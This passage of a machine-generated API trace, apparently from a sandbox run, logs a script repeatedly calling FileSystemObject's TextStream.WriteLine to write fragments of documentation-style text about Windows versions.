bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.667] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.667] SysReleaseString () returned 0x1 [0148.667] CoTaskMemFree (pv=0x249c87615e0) [0148.667] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.667] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.667] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.667] SysAddRefString () returned 0x0 [0148.667] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.667] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.667] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.667] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768568, pBstrHelpFile=0x249c8758f60*="ꇰ졵ɉ") returned 0x0 [0148.667] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87681a8, pBstrHelpFile=0x249c8758f60*="ꇰ졵ɉ") returned 0x0 [0148.667] malloc (_Size=0x8) returned 0x249c884ee40 [0148.667] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.668] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.668] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.668] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.668] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.668] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.668] wcsncpy_s (in: _Destination=0x249ca4d4e56, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.668] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.668] free (_Block=0x249c884ee60) [0148.668] free (_Block=0x249c884ee40) [0148.668] free (_Block=0x249ca4d5de0) [0148.668] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.668] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.668] SysReleaseString () returned 0x1 [0148.668] CoTaskMemFree (pv=0x249c8761b80) [0148.668] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.668] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.669] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.669] SysAddRefString () returned 0x0 [0148.669] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.669] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.669] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.669] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87681a8, pBstrHelpFile=0x249c8758f60*="鵰졵ɉ") returned 0x0 [0148.669] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876a438, pBstrHelpFile=0x249c8758f60*="鵰졵ɉ") returned 0x0 [0148.669] malloc (_Size=0x8) returned 0x249c884ed40 [0148.669] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.669] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.669] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.669] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.669] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.669] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.669] wcsncpy_s (in: _Destination=0x249ca4d4f42, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.669] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.669] free (_Block=0x249c884ee60) [0148.669] free (_Block=0x249c884ed40) [0148.669] free (_Block=0x249ca4d5de0) [0148.669] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.669] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.670] SysReleaseString () returned 0x1 [0148.670] CoTaskMemFree (pv=0x249c8761b80) [0148.670] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.670] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.670] CoTaskMemAlloc (cb=0x28) returned 0x249c8761820 [0148.670] SysAddRefString () returned 0x0 [0148.670] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.670] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.670] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.670] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876a438, pBstrHelpFile=0x249c8758f60*="ꚰ졵ɉ") returned 0x0 [0148.670] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87685c8, pBstrHelpFile=0x249c8758f60*="ꚰ졵ɉ") returned 0x0 [0148.670] malloc (_Size=0x8) returned 0x249c884ed40 [0148.670] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.670] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.670] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.670] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.670] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.670] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.670] wcsncpy_s (in: _Destination=0x249ca4d502e, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.670] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.671] free (_Block=0x249c884ee60) [0148.671] free (_Block=0x249c884ed40) [0148.671] free (_Block=0x249ca4d5de0) [0148.671] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.671] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.671] SysReleaseString () returned 0x1 [0148.671] CoTaskMemFree (pv=0x249c8761820) [0148.671] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.671] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.671] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.671] SysAddRefString () returned 0x0 [0148.671] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.671] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.672] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.672] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87685c8, pBstrHelpFile=0x249c8758f60*="ꉰ졵ɉ") returned 0x0 [0148.672] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767728, pBstrHelpFile=0x249c8758f60*="ꉰ졵ɉ") returned 0x0 [0148.672] malloc (_Size=0x8) returned 0x249c884ed60 [0148.672] malloc (_Size=0x14) returned 0x249ca447870 [0148.672] _snwprintf_s (in: _DstBuf=0x249ca447870, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.672] malloc (_Size=0x4e) returned 0x249c884a540 [0148.672] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.672] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.672] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.672] wcsncpy_s (in: _Destination=0x249ca4d511a, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.672] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.672] free (_Block=0x249ca447870) [0148.672] free (_Block=0x249c884ed60) [0148.672] free (_Block=0x249c884a540) [0148.672] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.672] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.672] SysReleaseString () returned 0x1 [0148.672] CoTaskMemFree (pv=0x249c8761b80) [0148.672] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.673] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.673] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.673] SysAddRefString () returned 0x0 [0148.673] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.673] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.673] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.673] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767728, pBstrHelpFile=0x249c8758f60*="ꂰ졵ɉ") returned 0x0 [0148.673] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767d88, pBstrHelpFile=0x249c8758f60*="ꂰ졵ɉ") returned 0x0 [0148.673] malloc (_Size=0x8) returned 0x249c884ecb0 [0148.673] malloc (_Size=0x72) returned 0x249c884a540 [0148.673] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x39, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" XP and is listed separately on this page. Synta \"") returned 56 [0148.673] malloc (_Size=0xac) returned 0x249c884ee60 [0148.673] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x56, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.673] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x56, _Source="\" XP and is listed separately on this page. Synta \"", _MaxCount=0x38 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"") returned 0x0 [0148.673] wcscat_s (in: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"", _SizeInWords=0x56, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.673] wcsncpy_s (in: _Destination=0x249ca4d5162, _SizeInWords=0x53, _Source="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n", _MaxCount=0x52 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.673] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.673] free (_Block=0x249c884a540) [0148.673] free (_Block=0x249c884ecb0) [0148.674] free 